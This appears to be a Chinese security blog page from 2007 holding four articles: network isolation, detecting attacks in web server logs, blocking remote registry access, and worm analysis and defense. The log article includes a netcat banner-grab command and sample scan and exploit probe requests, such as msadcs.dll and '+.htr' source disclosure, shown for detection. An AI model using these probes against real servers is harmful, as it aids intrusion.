浏览模式: 普通 | 列表
分类: 网络技术 | < | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | > | >>

推荐日志 网络隔离技术安全要素 发展方向概述

[ 2007-03-25 03:59:01 | 作者: sun ]
面对新型网络攻击手段的出现和高安全度网络对安全的特殊需求,全新安全防护防范理念的网络安全技术——“网络隔离技术”应运而生。
  
  网络隔离技术的目标是确保把有害的攻击隔离,在可信网络之外和保证可信网络内部信息不外泄的前提下,完成网间数据的安全交换。网络隔离技术是在原有安全技术的基础上发展起来的,它弥补了原有安全技术的不足,突出了自己的优势。
  
  隔离技术的发展历程
  
  网络隔离,英文名为Network Isolation,主要是指把两个或两个以上可路由的网络(如:TCP/IP)通过不可路由的协议(如:IPX/SPX、NetBEUI等)进行数据交换而达到隔离目的。由于其原理主要是采用了不同的协议,所以通常也叫协议隔离(Protocol Isolation)。1997年,信息安全专家Mark Joseph Edwards在他编写的《Understanding Network Security》一书中,他就对协议隔离进行了归类。在书中他明确地指出了协议隔离和防火墙不属于同类产品。
  
  隔离概念是在为了保护高安全度网络环境的情况下产生的;隔离产品的大量出现,也是经历了五代隔离技术不断的实践和理论相结合后得来的。
  
  第一代隔离技术——完全的隔离。此方法使得网络处于信息孤岛状态,做到了完全的物理隔离,需要至少两套网络和系统,更重要的是信息交流的不便和成本的提高,这样给维护和使用带来了极大的不便。
  
  第二代隔离技术——硬件卡隔离。在客户端增加一块硬件卡,客户端硬盘或其他存储设备首先连接到该卡,然后再转接到主板上,通过该卡能控制客户端硬盘或其他存储设备。而在选择不同的硬盘时,同时选择了该卡上不同的网络接口,连接到不同的网络。但是,这种隔离产品有的仍然需要网络布线为双网线结构,产品存在着较大的安全隐患。
  
  第三代隔离技术—数据转播隔离。利用转播系统分时复制文件的途径来实现隔离,切换时间非常之久,甚至需要手工完成,不仅明显地减缓了访问速度,更不支持常见的网络应用,失去了网络存在的意义。
  
  第四代隔离技术—空气开关隔离。它是通过使用单刀双掷开关,使得内外部网络分时访问临时缓存器来完成数据交换的,但在安全和性能上存在有许多问题。
  
  第五代隔离技术—安全通道隔离。此技术通过专用通信硬件和专有安全协议等安全机制,来实现内外部网络的隔离和数据交换,不仅解决了以前隔离技术存在的问题,并有效地把内外部网络隔离开来,而且高效地实现了内外网数据的安全交换,透明支持多种网络应用,成为当前隔离技术的发展方向。

  隔离技术需具备的安全要点
  
  要具有高度的自身安全性 隔离产品要保证自身具有高度的安全性,至少在理论和实践上要比防火墙高一个安全级别。从技术实现上,除了和防火墙一样对操作系统进行加固优化或采用安全操作系统外,关键在于要把外网接口和内网接口从一套操作系统中分离出来。也就是说至少要由两套主机系统组成,一套控制外网接口,另一套控制内网接口,然后在两套主机系统之间通过不可路由的协议进行数据交换,如此,既便黑客攻破了外网系统,仍然无法控制内网系统,就达到了更高的安全级别。
  
  要确保网络之间是隔离的 保证网间隔离的关键是网络包不可路由到对方网络,无论中间采用了什么转换方法,只要最终使得一方的网络包能够进入到对方的网络中,都无法称之为隔离,即达不到隔离的效果。显然,只是对网间的包进行转发,并且允许建立端到端连接的防火墙,是没有任何隔离效果的。此外,那些只是把网络包转换为文本,交换到对方网络后,再把文本转换为网络包的产品也是没有做到隔离的。
  
  要保证网间交换的只是应用数据 既然要达到网络隔离,就必须做到彻底防范基于网络协议的攻击,即不能够让网络层的攻击包到达要保护的网络中,所以就必须进行协议分析,完成应用层数据的提取,然后进行数据交换,这样就把诸如TearDro&#112;、Land、Smurf和SYN Flood等网络攻击包,彻底地阻挡在了可信网络之外,从而明显地增强了可信网络的安全性。

 要对网间的访问进行严格的控制和检查 作为一套适用于高安全度网络的安全设备,要确保每次数据交换都是可信的和可控制的,严格防止非法通道的出现,以确保信息数据的安全和访问的可审计性。所以必须施加以一定的技术,保证每一次数据交换过程都是可信的,并且内容是可控制的,可采用基于会话的认证技术和内容分析与控制引擎等技术来实现。
  
  要在坚持隔离的前提下保证网络畅通和应用透明 隔离产品会部署在多种多样的复杂网络环境中,并且往往是数据交换的关键点,因此,产品要具有很高的处理性能,不能够成为网络交换的瓶颈,要有很好的稳定性;不能够出现时断时续的情况,要有很强的适应性,能够透明接入网络,并且透明支持多种应用。
  
  网络隔离的关键点
  
  网络隔离的关键是在于系统对通信数据的控制,即通过不可路由的协议来完成网间的数据交换。由于通信硬件设备工作在网络七层的最下层,并不能感知到交换数据的机密性、完整性、可用性、可控性、抗抵赖等安全要素,所以这要通过访问控制、身份认证、加密签名等安全机制来实现,而这些机制的实现都是通过软件来实现的。
  
  因此,隔离的关键点就成了要尽量提高网间数据交换的速度,并且对应用能够透明支持,以适应复杂和高带宽需求的网间数据交换。而由于设计原理问题使得第三代和第四代隔离产品在这方面很难突破,既便有所改进也必须付出巨大的成本,和“适度安全”理念相悖。
  
  隔离技术的未来发展方向
  
  第五代隔离技术的出现,是在对市场上网络隔离产品和高安全度网需求的详细分析情况下产生的,它不仅很好地解决了第三代和第四代很难解决的速度瓶颈问题,并且先进的安全理念和设计思路,明显地提升了产品的安全功能,是一种创新的隔离防护手段。
  
  隔离原理 第五代隔离技术的实现原理是通过专用通信设备、专有安全协议和加密验证机制及应用层数据提取和鉴别认证技术,进行不同安全级别网络之间的数据交换,彻底阻断了网络间的直接TCP/IP连接,同时对网间通信的双方、内容、过程施以严格的身份认证、内容过滤、安全审计等多种安全防护机制,从而保证了网间数据交换的安全、可控,杜绝了由于操作系统和网络协议自身漏洞带来的安全风险。

推荐日志 从服务器的记录寻找黑客的蛛丝马迹

[ 2007-03-25 03:58:49 | 作者: sun ]
当服务器被攻击时,最容易被人忽略的地方,就是记录文件,服务器的记录文件了黑客活动的蛛丝马迹。在这里,我为大家介绍一下两种常见的网页服务器中最重要的记录文件,分析服务器遭到攻击后,黑客在记录文件中留下什么记录。


目前最常见的网页服务器有两种:Apache和微软的Internet Information Server (简称IIS)。这两种服务器都有一般版本和SSL认证版本,方便黑客对加密和未加密的服务器进行攻击。


IIS的预设记录文件地址在 c:winntsystem32logfilesw3svc1的目录下,文件名是当天的日期,如yymmdd.log。系统会每天产生新的记录文件。预设的格式是W3C延伸记录文件格式(W3C Extended Log File Format),很多相关软件都可以解译、分析这种格式的档案。记录文件在预设的状况下会记录时间、客户端IP地址、method(GET、POST等)、URI stem(要求的资源)、和HTTP状态(数字状态代码)。这些字段大部分都一看就懂,可是HTTP状态就需要解读了。一般而言,如果代码是在200到299代表成功。常见的200状态码代表符合客户端的要求。300到399代表必须由客户端采取动作才能满足所提出的要求。400到499和500到599代表客户端和服务器有问题。最常见的状态代码有两个,一个是404,代表客户端要求的资源不在服务器上,403代表的是所要求的资源拒绝服务。Apache记录文件的预设储存位置在/usr/local/apache/logs。最有价值的记录文件是access_log,不过 ssl_request_log和ssl_engine_log也能提供有用的资料。 access_log记录文件有七个字段,包括客户端IP地址、特殊人物识别符、用户名称、日期、Method Resource Protocol(GET、POST等;要求哪些资源;然后是协议的版本)、HTTP状态、还有传输的字节。


我在这里所用的是与黑客用的相似的模拟攻击网站方式和工具。(注意:在本文中所介绍的方法请大家不要试用,请大家自觉遵守网络准则!)


分析过程


网页服务器版本是很重要的信息,黑客一般先向网页服务器提出要求,让服务器送回本身的版本信息。只要把「HEAD / HTTP/1.0」这个字符串用常见的netcat utility(相关资料网址:http://www.l0pht.com/~weld/netcat/)和OpenSSL binary(相关资料网址:http://www.openssl.org/)送到开放服务器的通讯端口就成了。注意看下面的示范:



C:>nc -n 10.0.2.55 80


HEAD / HTTP/1.0


HTTP/1.1 200 OK


Server: Microsoft-IIS/4.0


Date: Sun, 08 Mar 2001 14:31:00 GMT


Content-Type: text/html


Set-Cookie: ASPSESSIONIDGQQQQQPA=IHOJAGJDECOLLGIBNKMCEEED; path=/


Cache-control: private


这种形式的要求在IIS和Apache的记录文件中会生成以下记录:


IIS: 15:08:44 11.1.2.80 HEAD /Default.asp 200


Linux: 11.1.2.80 - - [08/Mar/2001:15:56:39 -0700] "HEAD / HTTP/1.0" 200 0


虽然这类要求合法,看似很平常,不过却常常是网络攻击的前奏曲。access_log和IIS的记录文件没有表明这个要求是连到SSL服务器还是一般的网页服务器,可是Apache的 ssl_request_log和ssl_engine_log(在/usr/local/apache/logs目录下)这两个记录文件就会记录是否有联机到SSL服务器。请看以下的ssl_request_log记录文件:


[07/Mar/2001:15:32:52 -0700] 11.1.1.50 SSLv3 EDH-RSA-DES-CBC3-SHA "HEAD / HTTP/1.0" 0


第三和第四个字段表示客户端使用的是哪种加密方式。以下的ssl_request_log分别记录从OpenSSL、 Internet Explorer和Netscape客户端程序发出的要求。


[07/Mar/2001:15:48:26 -0700] 11.1.1.50 SSLv3 EDH-RSA-DES-CBC3-SHA "GET / HTTP/1.0" 2692


[07/Mar/2001:15:52:51 -0700] 10.0.2.55 TLSv1 RC4-MD5 "GET / HTTP/1.1" 2692


[07/Mar/2001:15:54:46 -0700] 11.1.1.50 SSLv3 EXP-RC4-MD5 "GET / HTTP/1.0" 2692


[07/Mar/2001:15:55:34 –0700] 11.1.2.80 SSLv3 RC4-MD5 “GET / HTTP/1.0” 2692


另外黑客通常会复制一个网站(也就是所谓的镜射网站。),来取得发动攻击所需要的信息。网页原始码中的批注字段常有目录、文件名甚至密码的有用资料。复制网站常用的工具包括窗口系统的Teleport Pro(网址:http://www.tenmax.com/teleport/pro/home.htm)和Unix系统的wget(网址:http://www.gnu.org/manual/wget/)。在这里我为大家分析wget和TeleportPro这两个软件攻击网页服务器后记录文件中的内容。这两个软件能全面快速搜寻整个网站,对所有公开的网页提出要求。只要检查一下记录文件就知道,要解译镜射这个动作是很简单的事。以下是IIS的记录文件:


16:28:52 11.1.2.80 GET /Default.asp 200


16:28:52 11.1.2.80 GET /robots.txt 404


16:28:52 11.1.2.80 GET /header_protecting_your_privacy.gif 200


16:28:52 11.1.2.80 GET /header_fec_reqs.gif 200


16:28:55 11.1.2.80 GET /photo_contribs_sidebar.jpg 200


16:28:55 11.1.2.80 GET /g2klogo_white_bgd.gif 200


16:28:55 11.1.2.80 GET /header_contribute_on_line.gif 200



注:11.1.2.80这个主机是Unix系统的客户端,是用wget软件发出请求。



16:49:01 11.1.1.50 GET /Default.asp 200


16:49:01 11.1.1.50 GET /robots.txt 404


16:49:01 11.1.1.50 GET /header_contribute_on_line.gif 200


16:49:01 11.1.1.50 GET /g2klogo_white_bgd.gif 200


16:49:01 11.1.1.50 GET /photo_contribs_sidebar.jpg 200


16:49:01 11.1.1.50 GET /header_fec_reqs.gif 200


16:49:01 11.1.1.50 GET /header_protecting_your_privacy.gif 200


注:11.1.1.50系统是窗口环境的客户端,用的是TeleportPro发出请求。


注意:以上两个主机都要求robots.txt这个档,其实这个档案是网页管理员的工具,作用是防止wget和TeleportPro这类自动抓文件软件对某些网页从事抓取或搜寻的动作。如果有人提出robots.txt档的要求,常常代表是要镜射整个网站。但,TeleportPro和wget这两个软件都可以把要求robots.txt这个文件的功能取消。另一个侦测镜射动作的方式,是看看有没有同一个客户端IP反复提出资源要求。

黑客还可以用网页漏洞稽核软件:Whisker(网址:http://www.wiretrip.net/),来侦查网页服务器有没有安全后门(主要是检查有没有cgi-bin程序,这种程序会让系统产生安全漏洞)。以下是IIS和Apache网页服务器在执行Whisker后产生的部分记录文件。


IIS:


13:17:56 11.1.1.50 GET /SiteServer/Publishing/viewcode.asp 404


13:17:56 11.1.1.50 GET /msadc/samples/adctest.asp 200


13:17:56 11.1.1.50 GET /advworks/equipment/catalog_type.asp 404


13:17:56 11.1.1.50 GET /iisadmpwd/aexp4b.htr 200


13:17:56 11.1.1.50 HEAD /scripts/samples/details.idc 200


13:17:56 11.1.1.50 GET /scripts/samples/details.idc 200


13:17:56 11.1.1.50 HEAD /scripts/samples/ctguestb.idc 200


13:17:56 11.1.1.50 GET /scripts/samples/ctguestb.idc 200


13:17:56 11.1.1.50 HEAD /scripts/tools/newdsn.exe 404


13:17:56 11.1.1.50 HEAD /msadc/msadcs.dll 200


13:17:56 11.1.1.50 GET /scripts/iisadmin/bdir.htr 200


13:17:56 11.1.1.50 HEAD /carbo.dll 404


13:17:56 11.1.1.50 HEAD /scripts/proxy/ 403


13:17:56 11.1.1.50 HEAD /scripts/proxy/w3proxy.dll 500


13:17:56 11.1.1.50 GET /scripts/proxy/w3proxy.dll 500


Apache:


11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] "GET /cfcache.map HTTP/1.0" 404 266


11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] "GET /cfide/Administrator/startstop.html HTTP/1.0" 404 289


11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] "GET /cfappman/index.cfm HTTP/1.0" 404 273


11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] "GET /cgi-bin/ HTTP/1.0" 403 267


11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "GET /cgi-bin/dbmlparser.exe HTTP/1.0" 404 277


11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /_vti_inf.html HTTP/1.0" 404 0


11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /_vti_pvt/ HTTP/1.0" 404 0


11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /cgi-bin/webdist.cgi HTTP/1.0" 404 0


11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /cgi-bin/handler HTTP/1.0" 404 0


11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /cgi-bin/wrap HTTP/1.0" 404 0


11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /cgi-bin/pfdisplay.cgi HTTP/1.0" 404 0


大家要侦测这类攻击的关键,就在于从单一IP地址发出大量的404 HTTP状态代码。只要注意到这类信息,就可以分析对方要求的资源;于是它们就会拼命要求提供 cgi-bin scripts(Apache 服务器的 cgi-bin 目录;IIS服务器的 scripts目录)。


小结


网页如果被人探访过,总会在记录文件留下什么线索。如果网页管理员警觉性够高,应该会把分析记录文件作为追查线索,并且在检查后发现网站真的有漏洞时,就能预测会有黑客攻击网站。


接下来我要向大家示范两种常见的网页服务器攻击方式,分析服务器在受到攻击后黑客在记录文件中痕迹。


(1)MDAC攻击


MDAC攻击法可以让网页的客户端在IIS网页服务器上执行命令。如果有人开始攻击IIS服务器,记录文件就会记下客户端曾经呼叫msadcs.dll文档:


17:48:49 12.1.2.8 GET /msadc/msadcs.dll 200


17:48:51 12.1.2.8 POST /msadc/msadcs.dll 200


(2)利用原始码漏洞


第二种攻击方式也很普遍,就是会影响ASP和Java网页的暴露原始码漏洞。 最晚被发现的安全漏洞是 +.htr 臭虫,这个bug会显示ASP原始码。 如果有人利用这个漏洞攻击,就会在IIS的记录文件里面留下这些线索:


17:50:13 11.1.2.80 GET /default.asp+.htr 200


网页常会只让有权限的使用者进入。接下来我们要让各位看 Apache的access_log记录文件会在登录失败时留下什么线索:


12.1.2.8 - user [08/Mar/2001:18:58:29 -0700] "GET /private/ HTTP/1.0" 401 462


注:第三栏里面的使用者名称是「user」。还有要注意HTTP的状态代号是401,代表非法存取。

推荐日志 阻止攻击者对Windows注册表的远程访问

[ 2007-03-25 03:58:37 | 作者: sun ]
按照本文中所提及的方式保护Windows注册表,能够防止攻击者远程攻击它。

  问题

  注册表是Windows操作系统的核心。但是在缺省情况下,所有基于Windows的计算机的注册表在网络上都是可以被访问到。了解这一点的黑客完全可以利用这个安全漏洞来对你的公司的计算机系统进行攻击,并修改文件关系,并允许插入恶意代码。为了保护你的网络,你需要禁止对注册表的远程访问。

  解决方案

  你轻而易举地可以通过修改网络访问清单来达到这一目标。根据你网络的复杂程度,你可能需要考虑禁止对注册表的远程访问。

  注意

  编辑注册表可能会有风险,所以必须要在开始之前确保你已经对注册表进行了备份。

  修改注册表

  对于使用Windows 2000、Windows XP、和Windows Server 2003系统的计算机,采取如下步骤:

  1、点击“开始”菜单,选择“运行”。

  2、输入“Regedt32.exe”,然后点击“OK”。

  3、选择“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurePipeServers”。

  4、如果winreg键已经存在,跳到步骤8。如果该键不存在,点击“编辑”菜单,选择“添加”。

  5、把该键命名为“winreg”,类别设定为REG_SZ。

  6、选择这个新创建的键,然后点击“编辑”菜单,选择“增加值“。

  7、进行如下输入:

  名称: Description
  类型: REG_SZ
  值 : Registry Server

  8、选择winreg键,进入安全 | 许可 。

  9、确保本地系统管理员组(System Administrators Group)拥有全部的访问权,把只读权限开放给系统帐户(System account)和所有人组(Everyone group)。

  10、关闭注册表编辑器,重新启动计算机。

  如果你为工作站或者服务器支持设定了特殊的组,而这些组的成员又不是管理员,你就应该也为他们设定合适的权限。

  而且,如果你面对的机器是一台服务器或者是一台为特殊用户提供远程服务的计算机,你就必须允许有权使用服务的帐户对相关内容有只读的权限。

  调整网络

  注册表修改能够保护你内部网络需要经过授权才能访问,但是你还需要保护注册表不受外部的来自互联网的访问。利用注册表的安全漏洞对Windows系统进行攻击仍然非常普遍,所以你需要保证你的安全策略已经很好地解决了这些安全漏洞。

  在前端的路由器或者防火墙上禁用TCP/UDP端口135、137、138、139和455是一个不错的解决方法。禁用这些端口不仅仅是能够阻止远程访问注册表,这样做还能够阻止大部分针对Windows系统的远程攻击。

  关闭这些端口迅速提高你的Windows网络的安全性,在没有禁用这些端口之前,你需要确认是否有商业的原因需要保持这些端口的开放。

  这些是你所能够关闭的、运行Windows 2000、Windows XP和Windows Server 2003系统上的远程注册表服务(Remote Registry),这对于企业来说,永远是一个非常有帮助的、实用的方法。

推荐日志 解析并防范电脑蠕虫病毒

[ 2007-03-25 03:58:26 | 作者: sun ]
凡能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒。所以从这个意义上说,蠕虫也是一种病毒!网络蠕虫病毒,作为对互联网危害严重的 一种计算机程序,其破坏力和传染性不容忽视。与传统的病毒不同,蠕虫病毒以计算机为载体,以网络为攻击对象!本文中将蠕虫病毒分为针对企业网络和个人用户2类,并从企业用户和个人用户两个方面探讨蠕虫病毒的特征和一些防范措施!

本文根据蠕虫病毒的发作机制,将其分为利用系统级别漏洞(主动传播)和利用社会工程学(欺骗传播)两种,并从用户角度中将蠕虫病毒分为针对企业网络和个人用户2类,从企业用户和个人用户两个方面探讨蠕虫病毒的特征和一些防范措施!

一、蠕虫病毒的定义

1.蠕虫病毒的定义

计算机病毒自出现之日起,就成为计算机的一个巨大威胁,而当网络迅速发展的时候,蠕虫病毒引起的危害开始显现!从广义上定义,凡能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒。所以从这个意义上说,蠕虫也是一种病毒!但是蠕虫病毒和一般的病毒有着很大的区别。对于蠕虫,现在还没有一个成套的理论体系,一般认为,蠕虫是一种通过网络传播的恶性病毒,它具有病毒的一些共性,如传播性,隐蔽性,破坏性等等,同时具有自己的一些特征,如不利用文件寄生(有的只存在于内存中),对网络造成拒绝服务,以及和黑客技术相结合等等!在产生的破坏性上,蠕虫病毒也不是普通病毒所能比拟的,网络的发展使得蠕虫可以在短短的时间内蔓延整个网络,造成网络瘫痪!

根据使用者情况可将蠕虫病毒分为2类,一种是面向企业用户和局域网而言,这种病毒利用系统漏洞,主动进行攻击,可以对整个互联网可造成瘫痪性的后果!以“红色代码”,“尼姆达”,以及最新的“sql蠕虫王”为代表。另外一种是针对个人用户的,通过网络(主要是电子邮件,恶意网页形式)迅速传播的蠕虫病毒,以爱虫病毒,求职信病毒为例.在这两类中,第一类具有很大的主动攻击性,而且爆发也有一定的突然性,但相对来说,查杀这种病毒并不是很难。第二种病毒的传播方式比较复杂和多样,少数利用了微软的应用程序的漏洞,更多的是利用社会工程学()对用户进行欺骗和诱使,这样的病毒造成的损失是非常大的,同时也是很难根除的,比如求职信病毒,在2001年就已经被各大杀毒厂商发现,但直到2002年底依然排在病毒危害排行榜的首位就是证明!出得在接下来的内容中,将分别分析这两种病毒的一些特征及防范措施!

2.蠕虫病毒与一般病毒的异同

蠕虫也是一种病毒,因此具有病毒的共同特征。一般的病毒是需要的寄生的,它可以通过自己指令的执行,将自己的指令代码写到其他程序的体内,而被感染的文件就被称为”宿主”,例如,windows下可执行文件的格式为pe格式(Portable Executable),当需要感染pe文件时,在宿主程序中,建立一个新节,将病毒代码写到新节中,修改的程序入口点等,这样,宿主程序执行的时候,就可以先执行病毒程序,病毒程序运行完之后,在把控制权交给宿主原来的程序指令。可见,病毒主要是感染文件,当然也还有像DIRII这种链接型病毒,还有引导区病毒。引导区病毒他是感染磁盘的引导区,如果是软盘被感染,这张软盘用在其他机器上后,同样也会感染其他机器,所以传播方式也是用软盘等方式。

蠕虫一般不采取利用pe格式插入文件的方法,而是复制自身在互联网环境下进行传播,病毒的传染能力主要是针对计算机内的文件系统而言,而蠕虫病毒的传染目标是互联网内的所有计算机.局域网条件下的共享文件夹,电子邮件email,网络中的恶意网页,大量存在着漏洞的服务器等都成为蠕虫传播的良好途径。网络的发展也使得蠕虫病毒可以在几个小时内蔓延全球!而且蠕虫的主动攻击性和突然爆发性将使得人们手足无策!

       普通病毒 蠕虫病毒
存在形式 寄存文件 独立程序
传染机制 宿主程序运行 主动攻击
传染目标 本地文件 网络计算机





可以预见,未来能够给网络带来重大灾难的主要必定是网络蠕虫!

3.蠕虫的破坏和发展趋势

1988年一个由美国CORNELL大学研究生莫里斯编写的蠕虫病毒蔓延造成了数千台计算机停机,蠕虫病毒开始现身网络;而后来的红色代码,尼姆达病毒疯狂的时候,造成几十亿美元的损失;北京时间2003年1月26日, 一种名为“2003蠕虫王”的电脑病毒迅速传播并袭击了全球,致使互联网网路严重堵塞,作为互联网主要基础的域名服务器(DNS)的瘫痪造成网民浏览互联网网页及收发电子邮件的速度大幅减缓,同时银行自动提款机的运作中断, 机票等网络预订系统的运作中断,信用卡等收付款系统出现故障!专家估计,此病毒造成的直接经济损失至少在12亿美元以上!



病毒名称 持续时间 造成损失莫里斯蠕虫 1988年
6000多台计算机停机,直接经济损失达9600万美元! 美丽杀手
1999年 政府部门和一些大公司紧急关闭了网络服务器,
经济损失超过12亿美元!爱虫病毒
2000年5月至今
众多用户电脑被感染,损失超过100亿美元以上 红色代码
2001年7月 网络瘫痪,直接经济损失超过26亿美元 求职信
2001年12月至今 大量病毒邮件堵塞服务器,损失达数百亿美元 蠕虫王
2003年1月 网络大面积瘫痪,银行自动提款机运做中断,直接经济损失超过26亿美元


由表可以知道,蠕虫病毒对网络产生堵塞作用,并造成了巨大的经济损失!

通过对以上蠕虫病毒的分析,可以知道,蠕虫发作的一些特点和发展趋势:

1.利用操作系统和应用程序的漏洞主动进行攻击.. 此类病毒主要是“红色代码”和“尼姆达”,以及至今依然肆虐的”求职信”等.由于IE浏览器的漏洞(Iframe Execcomand),使得感染了“尼姆达”病毒的邮件在不去手工打开附件的情况下病毒就能激活,而此前即便是很多防病毒专家也一直认为,带有病毒附件的邮件,只要不去打开附件,病毒不会有危害。“红色代码”是利用了微软IIS服务器软件的漏洞(idq.dll远程缓存区溢出)来传播。Sql蠕虫王病毒则是利用了微软的数据库系统的一个漏洞进行大肆攻击!

2.传播方式多样 如“尼姆达”病毒和”求职信”病毒,可利用的传播途径包括文件、电子邮件、Web服务器、网络共享等等。

3.病毒制作技术与传统的病毒不同的是,许多新病毒是利用当前最新的编程语言与编程技术实现的,易于修改以产生新的变种,从而逃避反病毒软件的搜索。另外,新病毒利用Java、ActiveX、VB Script等技术,可以潜伏在HTML页面里,在上网浏览时触发。

4.与黑客技术相结合! 潜在的威胁和损失更大!以红色代码为例,感染后的机器的web目录的\scripts下将生成一个root.exe,可以远程执行任何命令,从而使黑客能够再次进入!二、网络蠕虫病毒分析和防范

蠕虫和普通病毒不同的一个特征是蠕虫病毒往往能够利用漏洞,这里的漏洞或者说是缺陷,我们分为2种,软件上的缺陷和人为上的缺陷。软件上的缺陷,如远程溢出,微软ie和outlook的自动执行漏洞等等,需要软件厂商和用户共同配合,不断的升级软件。而人为的缺陷,主要是指的是计算机用户的疏忽。这就是所谓的社会工程学(social engineering),当收到一封邮件带着病毒的求职信邮件时候,大多数人都会报着好奇去点击的。对于企业用户来说,威胁主要集中在服务器和大型应用软件的安全上,而个人用户而言,主要是防范第二种缺陷。

1.利用系统漏洞的恶性蠕虫病毒分析

在这种病毒中,以红色代码,尼姆达和sql蠕虫为代表!他们共同的特征是利用微软服务器和应用程序组件的某个漏洞进行攻击,由于网上存在这样的漏洞比较普遍,使得病毒很容易的传播!而且攻击的对象大都为服务器,所以造成的网络堵塞现象严重!


以2003年1月26号爆发的sql蠕虫为例,爆发数小时内席卷了全球网络,造成网络大塞车.亚洲国家中以人口上网普及率达七成的韩国所受影响较为严重。韩国两大网络业KFT及***电讯公司,系统都陷入了瘫痪,其它的网络用户也被迫断线,更为严重的是许多银行的自动取款机都无法正常工作, 美国许美国银行统计,该行的13000台自动柜员机已经无法提供正常提款。网络蠕虫病毒开始对人们的生活产生了巨大的影响!

这次sql蠕虫攻击的是微软数据库系Microsoft SQL Server 2000的,利用了MSSQL2000服务远程堆栈缓冲区溢出漏洞, Microsoft SQL Server 2000是一款由Microsoft公司开发的商业性质大型数据库系统。SQL Server监听UDP的1434端口,客户端可以通过发送消息到这个端口来查询目前可用的连接方式(连接方式可以是命名管道也可以是TCP),但是此程序存在严重漏洞,当客户端发送超长数据包时,将导致缓冲区溢出,黑客可以利用该漏洞在远程机器上执行自己的恶意代码。

微软在200年7月份的时候就为这个漏洞发布了一个安全公告,但当sql蠕虫爆发的时候,依然有大量的装有ms sqlserver 2000的服务器没有安装最新的补丁,从而被蠕虫病毒所利用,蠕虫病毒通过一段376个字节的恶意代码,远程获得对方主机的系统控制权限, 取得三个Win32 API地址,GetTickCount、socket、sendto,接着病毒使用GetTickCount获得一个随机数,进入一个死循环继续传播。在该循环中蠕虫使用获得的随机数生成一个随机的ip地址,然后将自身代码发送至1434端口(Microsoft SQL Server开放端口),该蠕虫传播速度极快,其使用广播数据包方式发送自身代码,每次均攻击子网中所有255台可能存在机器。由于这是一个死循环的过程,发包密度仅和机器性能和网络带宽有关,所以发送的数据量非常大。该蠕虫对被感染机器本身并没有进行任何恶意破坏行为,也没有向硬盘上写文件,仅仅存在与内存中。对于感染的系统,重新启动后就可以清除蠕虫,但是仍然会重复感染。由于发送数据包占用了大量系统资源和网络带宽,形成Udp Flood,感染了该蠕虫的网络性能会极度下降。一个百兆网络内只要有一两台机器感染该蠕虫就会导致整个网络访问阻塞。

通过以上分析可以知道,此蠕虫病毒本身除了对网络产生拒绝服务攻击外,并没有别的破坏措施.但如果病毒编写者在编写病毒的时候加入破坏代码,后果将不堪设想!

2.企业防范蠕虫病毒措施

此次sql蠕虫病毒,利用的漏洞在2002年7月份微软的一份安全公告中就有详细说明!而且微软也提供了安全补丁提供下载,然而在时隔半年之后互联网上还有相当大的一部分服务器没有安装最新的补丁,其网络管理员的安全防范意识可见一斑!

当前,企业网络主要应用于文件和打印服务共享、办公自动化系统、企业业务(MIS)系统、Internet应用等领域。网络具有便利信息交换特性,蠕虫病毒也可以充分利用网络快速传播达到其阻塞网络目的。企业在充分地利用网络进行业务处理时,就不得不考虑企业的病毒防范问题,以保证关系企业命运的业务数据完整不被破坏。

企业防治蠕虫病毒的时候需要考虑几个问题:病毒的查杀能力,病毒的监控能力,新病毒的反应能力。而企业防毒的一个重要方面是是管理和策略。推荐的企业防范蠕虫病毒的策略如下:

(1)加强网络管理员安全管理水平,提高安全意识。由于蠕虫病毒利用的是系统漏洞进行攻击,所以需要在第一时间内保持系统和应用软件的安全性,保持各种操作系统和应用软件的更新!由于各种漏洞的出现,使得安全不在是一种一劳永逸的事,而作为企业用户而言,所经受攻击的危险也是越来越大,要求企业的管理水平和安全意识也越来越高!

(2)建立病毒检测系统。能够在第一时间内检测到网络异常和病毒攻击。

(3)建立应急响应系统,将风险减少到最小!由于蠕虫病毒爆发的突然性,可能在病毒发现的时候已经蔓延到了整个网络,所以在突发情况下,建立一个紧急响应系统是很有必要的,在病毒爆发的第一时间即能提供解决方案。


(4)建立灾难备份系统。对于数据库和数据系统,必须采用定期备份,多机备份措施,防止意外灾难下的数据丢失!

(5)对于局域网而言,可以采用以下一些主要手段:A.在因特网接入口处安装防火墙式防杀计算机病毒产品,将病毒隔离在局域网之外。B.对邮件服务器进行监控,防止带毒邮件进行传播!C.对局域网用户进行安全培训。D.建立局域网内部的升级系统,包括各种操作系统的补丁升级,各种常用的应用软件升级,各种杀毒软件病毒库的升级等等!3.对个人用户产生直接威胁的蠕虫病毒

在以上分析的蠕虫病毒中,只对安装了特定的微软组件的系统进行攻击,而对广大个人用户而言,是不会安装iis(微软的因特网服务器程序,可以使允许在网上提供web服务)或者是庞大的数据库系统的!因此上述病毒并不会直接攻击个个人用户的电脑(当然能够间接的通过网络产生影响),但接下来分析的蠕虫病毒,则是对个人用户威胁最大,同时也是最难以根除,造成的损失也更大的一类蠕虫病毒!

对于个人用户而言,威胁大的蠕虫病毒采取的传播方式一般为电子邮件(Email)以及恶意网页等等!

对于利用email传播得蠕虫病毒来说,通常利用的是社会工程学(Social Engineering),即以各种各样的欺骗手段那诱惑用户点击的方式进行传播!

恶意网页确切的讲是一段黑客破坏代码程序,它内嵌在网页中,当用户在不知情的情况下打开含有病毒的网页时,病毒就会发作。这种病毒代码镶嵌技术的原理并不复杂,所以会被很多怀不良企图者利用,在很多黑客网站竟然出现了关于用网页进行破坏的技术的论坛,并提供破坏程序代码下载,从而造成了恶意网页的大面积泛滥,也使越来越多的用户遭受损失。

对于恶意网页,常常采取vb script和java script编程的形式!由于编程方式十分的简单!所以在网上非常的流行!

